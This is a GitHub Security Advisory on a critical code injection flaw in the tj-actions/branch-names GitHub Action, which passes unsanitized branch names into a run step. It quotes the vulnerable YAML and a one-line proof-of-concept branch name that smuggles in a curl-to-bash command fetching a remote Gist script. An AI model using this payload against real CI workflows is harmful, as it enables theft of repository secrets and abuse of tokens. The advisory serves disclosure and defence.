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GHSA-8v8w-v8xg-79rf

GitHub Security Advisory

tj-actions/branch-names's Improper Sanitization of Branch Name Leads to Arbitrary Code Injection

✓ GitHub Reviewed CRITICAL Has CVE

Advisory Details

### Summary

The `tj-actions/branch-names` GitHub Actions references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.

### Details

The vulnerable code is within the `action.yml` file the `run` step references the value directly, instead of a sanitized variable.

```yml
runs:
using: "composite"
steps:
- id: branch
run: |
# "Set branch names..."
if [[ "${{ github.ref }}" != "refs/tags/"* ]]; then
BASE_REF=$(printf "%q" "${{ github.event.pull_request.base.ref || github.base_ref }}")
HEAD_REF=$(printf "%q" "${{ github.event.pull_request.head.ref || github.head_ref }}")
REF=$(printf "%q" "${{ github.ref }}")
```

An attacker can use a branch name to inject arbitrary code, for example: `Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo` will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.

### Impact
An attacker can use this vulnerability to steal secrets from or abuse `GITHUB_TOKEN` permissions.

### Reference
- https://securitylab.github.com/research/github-actions-untrusted-input

Affected Packages

GitHub Actions tj-actions/branch-names
Affected versions: 0 (fixed in 7.0.7)

Related CVEs

Key Information

GHSA ID
GHSA-8v8w-v8xg-79rf
Published
December 5, 2023 11:30 PM
Last Modified
December 6, 2023 8:48 PM
CVSS Score
9.0 /10
Primary Ecosystem
GitHub Actions
Primary Package
tj-actions/branch-names
GitHub Reviewed
✓ Yes

Dataset

Last updated: August 3, 2025 6:48 AM

Data from GitHub Advisory Database. This information is provided for research and educational purposes.